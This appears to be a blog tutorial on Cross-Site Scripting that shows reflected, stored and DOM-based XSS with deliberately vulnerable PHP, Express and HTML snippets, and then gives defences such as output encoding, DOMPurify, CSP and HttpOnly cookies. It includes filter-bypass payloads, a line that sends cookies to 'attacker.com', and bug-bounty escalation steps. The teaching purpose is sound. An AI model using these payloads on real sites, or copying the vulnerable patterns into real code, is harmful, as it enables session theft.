🧨 Cross-Site Scripting (XSS) — For Developers and Hackers

 



 What is XSS?

Cross-Site Scripting (XSS) is a web vulnerability that allows attackers to inject malicious JavaScript into webpages viewed by other users. It’s one of the most reported bugs in bug bounty programs and consistently ranks in the OWASP Top 10.


 Why Should You Care?

If your app is vulnerable to XSS:

  • 🔓 Hackers can steal cookies and hijack sessions

  • 💬 Inject fake login forms (phishing)

  • 🎭 Perform actions on behalf of users (CSRF chaining)

  • 🧠 Deliver payloads for malware or keyloggers

  • 💣 Deface pages or spread worms (like the Samy worm)


 Types of XSS (with Practical Demos)


1. ✅ Reflected XSS (Non-Persistent)

This happens when unsanitized user input is reflected in the response.

🔧 Vulnerable Example (PHP):

<?php // vulnerable.php $search = $_GET['search']; echo "You searched for: " . $search; ?>

🧨 Exploit URL:

http://localhost/vulnerable.php?search=<script>alert('XSS')</script>

💡 Tip:

Try bypassing filters with:

<svg/onload=alert(1)> "><script>alert(1)</script>

2. ✅ Stored XSS (Persistent)

Malicious payload is stored in the database and triggered every time a user views it.

🔧 Vulnerable Example (Node.js + Express + MongoDB):

// server.js app.post("/comment", (req, res) => { const { name, comment } = req.body; db.comments.insert({ name, comment }); res.redirect("/"); }); app.get("/", async (req, res) => { const comments = await db.comments.find().toArray(); res.send(` <ul> ${comments.map(c => `<li>${c.name}: ${c.comment}</li>`).join("")} </ul> <form method="POST" action="/comment"> <input name="name"><input name="comment"> <button type="submit">Post</button> </form> `); });

🧨 Exploit Payload:

<script>fetch('http://attacker.com/cookie?c=' + document.cookie)</script>

💥 Once stored, it executes for every visitor to the page.


3. ✅ DOM-Based XSS

Manipulation happens in the frontend JavaScript itself.

🔧 Vulnerable HTML:


<!DOCTYPE html> <html> <body> <div id="msg"></div> <script> const msg = new URLSearchParams(location.search).get('msg'); document.getElementById("msg").innerHTML = msg; </script> </body> </html>

🧨 Exploit URL:

file:///path/to/file.html?msg=<img%20src=x%20onerror=alert(1)>

 Defense Strategies (With Real Code)

🔒 1. Output Encoding

Use encoding libraries or frameworks that auto-escape output.

Example: Django

<!-- Safe: auto-escaped --> {{ user_input }}

Example: React

<div>{userInput}</div> // React escapes by default

 2. Avoid Dangerous APIs

Never use:

element.innerHTML = userInput; // BAD eval(userInput); // DANGEROUS document.write(userInput); // EXPLOITABLE

Instead use:

element.textContent = userInput; // SAFE

 3. Sanitize HTML (If Needed)

Use trusted libraries:

✅ DOMPurify (Browser)

<script src="https://cdn.jsdelivr.net/npm/dompurify@2.4.3/dist/purify.min.js"></script> <script> const clean = DOMPurify.sanitize(userInput); element.innerHTML = clean; </script>

✅ Node.js

const sanitizeHtml = require("sanitize-html"); const clean = sanitizeHtml(userInput);

 4. Set a Strict Content Security Policy (CSP)

Content-Security-Policy: default-src 'self'; script-src 'self';

Blocks inline scripts and external injections.


 5. Secure Cookies

Set-Cookie: sessionid=abc123; HttpOnly; Secure; SameSite=Strict

Prevents JavaScript access and mitigates CSRF chaining.


💼 Real-World Bug Bounty Scenario

🎯 Target: https://target.com/profile?user=

Goal:

Inject a script via the user parameter.

Steps:

  1. Send this:

    https://target.com/profile?user=<img src=x onerror=alert(1)>
  2. If reflected, it’s vulnerable.

  3. Test document.cookie, DOM manipulation, CSP behavior, etc.

  4. Escalate by:

    • Stealing cookies

    • CSRF auto-actions

    • Fake login popups


👨‍💻 Practice Labs

🧪 Free Practice Platforms:


#XSS  
#WebSecurity  
#CyberSecurity  
#BugBounty  
#OWASP  
#EthicalHacking  
#SecureCoding  
#CrossSiteScripting  
#PenetrationTesting  
#AppSec

Post a Comment

0 Comments